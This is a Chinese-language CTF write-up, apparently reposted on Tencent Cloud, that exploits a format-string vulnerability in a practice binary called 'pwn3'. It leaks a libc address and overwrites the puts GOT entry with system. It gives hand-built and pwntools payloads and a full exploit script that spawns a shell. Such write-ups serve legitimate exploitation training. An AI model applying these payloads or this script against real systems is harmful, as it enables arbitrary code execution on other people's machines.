首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >二进制学习系列-格式化字符串got

二进制学习系列-格式化字符串got

作者头像
安恒网络空间安全讲武堂
发布2018-09-21 15:03:10
1.6K0
发布2018-09-21 15:03:10
举报

正题:

一道泄漏libc来利用的格式化字符串题。

题目

直接上手反汇编:

加上运行过后整体了解到有一块检测登陆用户和三个模块函数,一个是编写文件'put',一个是显示文件'dir',还有一个是读取文件'get'。

这里推荐一个比较好用的格式化漏洞查看的插件,叫lazyIDA,在GitHub上有开源项目。

漏洞点出现在这里读取文件函数里面:

最后面的printf处。它的地址:

.text:0804889E                 call    _printf

用gdb在这里下断点后开始调试。前面验证用户名密码的步骤很容易就可以patch掉,密码是'rxraclhm'。暂停在断点处:

往下看堆栈中的数据:

可以看见我们的输入出现在距离格式化字符串的偏移量为7的位置。

偏移地址找到了,接下来就是找需要泄漏的函数,我们这里用常规函数'__libc_start_main'来泄漏。但是好像在堆栈中没有找到这个函数?不一定,我们往下继续找:

终于在距离偏移91处找到了改函数+247后的地址,所以泄漏改地址之后再减去247后就是真正的'__libc_start_main'函数的地址。那么我们就在所'put'上去的文件内容中写上:

%91$p

就可以得到该地址。

得到system函数的地址之后接下来我们要做的是什么?

  1. 如何执行system函数?
  2. /bin/sh字符串如何获取?
1.如何执行system函数:

我们可以利用格式化字符串漏洞覆盖大数字的作用去修改got表的地址,这里我们想到的就是将puts函数的got表地址修改成system函数地址,所以当执行puts函数的时候其实执行的是system函数。接下来就是如何去修改的问题了。

这里有两种方法:

0xa. 利用pwntools中已经成型的函数fmtstr-payload

该函数的利用方式:

fmtstr_payload(7, {puts_got: system_addr})
payload = fmtstr_payload(7, {puts_got: system_addr})

意思就是,格式化字符串的偏移是7,我希望在puts_got地址处写入system_addr地址。默认情况下是按照字节来写的。

puts_got的地址可以用ELF.got['puts']来获取,system地址上面已经获取到了。

0xb. 自己构造playload

格式化字符串写一般分两次写入,每次写半个dword长度的内容,这样可以大大减少程序输出大量空格的时间。两个payload如下:

payload1 = p32(puts_got) + '%%%dc' % ((system_addr & 0xffff)-4) + '%7$hn'
payload2 = p32(puts_got+2) + '%%%dc' % ((system_addr>>16 & 0xffff)-4) + '%7$hn'

当前环境中,实际内容是:

payload1 = "x28xa0x04x08%396c%7$hn"
payload2 = "x2axa0x04x08%46942c%7$hn"

其中p32(puts_got)将数字形式的0x0804a028转为可被读入内存的字符串形式"x28xa0x04x08",%396c与%46942c代表输出396或46942个空格,system_addr & 0xffff 取半个dword后还需减去4,是因为前面p32(puts_got)已经占了四个字节,这四个字节与后面的空格数相加的总字节数相加刚好为system_addr & 0xffff,而该值将会写入当前printf的第7个不定参数中,而这第七个不定参数正好是puts_got与puts_got+2 ,以shellcode2的执行情况为例,请看下图:

prinf函数的参数从栈顶开始,栈顶指向我们所构造的format payload字符串的地址,然后往下分别是第一个不定参数,第二个不定参数……第七个不定参数即为我们所输入的格式化串中的前四个字节内容0x0804a02a。因而执行完该语句后,会向0x0804a02a写入两个字节内容:0xb762。

payload1的执行过程同理,当执行完以上两条payload之后,我们便成功向地址0x0804a028中写入了四字节内容0xb7620190,即将plt表中puts的地址替换成了system函数的地址,所以当再次向系统发送dir指令,并执行puts函数时,实际执行的则是system函数。

2. 如何获取/bin/sh字符串?

这里就得看自己的眼尖不尖了,或者也可以说是自己想不想的到了,puts函数在dir函数中用到,因为puts出来的是文件名,所以当puts执行的是system函数时所用的参数就是文件名,所以我们可以把文件名写成/bin/sh来完成调用。

因为整个exp中需要put两次文件,所以第一次put文件名可以用'/sh',第二次在用'/bin'。或者是最后一次直接使用'/bin/sh;'文件名,用分号直接区分开来。我们可以用gdb来看看,在puts函数处下断点:

这是加分号的情况。

这是分两次输入/bin/sh的情况。以上两种都成功执行了system函数。

EXP:

from pwn import *

p = process('./pwn3')
libc = ELF('libc.so')
elf = ELF('pwn3')
context.log_level = 'debug'

p.recvuntil('Name (ftp.hacker.server:Rainism):')
p.sendline('rxraclhm')
p.recvuntil('ftp>')
p.sendline('put')
p.recvuntil('please enter the name of the file you want to upload:')
p.sendline('/sh')
p.recvuntil('then, enter the content:')
p.sendline('%91$p')
p.recvuntil('ftp>')
p.sendline('get')
p.recvuntil('enter the file name you want to get:')
p.sendline('/sh')

libc_addr = int(p.recv(10),16)
print libc_addr
libc_real = libc_addr - 247
libc_base = libc_real - libc.symbols['__libc_start_main']
sys_addr = libc_base + libc.symbols['system']
#gdb.attach(p)
print hex(sys_addr)

put_got = elf.got['puts']
playload = fmtstr_payload(7, {put_got: sys_addr})
p.recvuntil('ftp>')
p.sendline('put')
p.recvuntil('please enter the name of the file you want to upload:')
p.sendline('/bin')
p.recvuntil('then, enter the content:')
p.sendline(playload)
p.recvuntil('ftp>')
p.sendline('get')
p.recvuntil('enter the file name you want to get:')
p.sendline('/bin')
#gdb.attach(p)
p.recvuntil('ftp>')
gdb.attach(p)
p.sendline('dir')
p.interactive()

学习愉快~

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-09-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 正题:
    • 1.如何执行system函数:
      • 2. 如何获取/bin/sh字符串?
      • EXP:
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档